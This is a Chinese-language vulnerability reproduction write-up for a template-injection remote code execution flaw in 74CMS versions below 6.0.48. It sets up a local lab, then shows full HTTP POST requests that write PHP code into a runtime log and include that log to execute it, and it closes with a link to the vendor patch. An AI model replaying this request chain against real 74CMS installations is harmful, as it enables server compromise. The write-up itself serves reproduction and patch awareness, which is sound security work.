文章来源:天禧信安
一、骑士CMS简介
此次采用
windows10+Nginx+MySQL+PHP,使用phpstudy进行的环境配置,注意PHP版本最好使用 PHP 5.5及以上,MySQL版本 5.7.6及以上,我这里使用PHP版本5.4.45
然后这里放一下骑士cms的下载链接:
https://pan.hallolck.com/s/y06I6
官方公告地址
http://www.74cms.com/news/show-2497.html
/Application/Common/Controller/BaseController.class.php
文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行
影响版本:骑士CMS < 6.0.48>
写入日志
POST参数:
http://your-ip/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
我们来POST一下看看
POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: 192.168.1.6Content-Length: 98Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tplDNT: 1Connection: closeCookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu; think_language=zh-CN; think_template=defaultUpgrade-Insecure-Requests: 1Cache-Control: max-age=0variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show h="info" id="$_GET['id']"/>
可以看到返回了错误,日志已经记录了
我们来翻一下日志
日志路径: \upload\data\Runtime\Logs\Home
成功写入
接下来我们尝试包含日志,日志名称就是测试当天的年月日
包含日志
POST参数:
http://your-ip/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/20_12_22.log
我们来POST一下看看
POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.1.6
Content-Length: 52
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl
DNT: 1
Connection: close
Cookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu; think_language=zh-CN; think_template=default
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
variable=1&tpl=./data/Runtime/Logs/Home/21_07_01.log
下载官方最新补丁包
http://www.74cms.com/download/index.html
推荐文章++++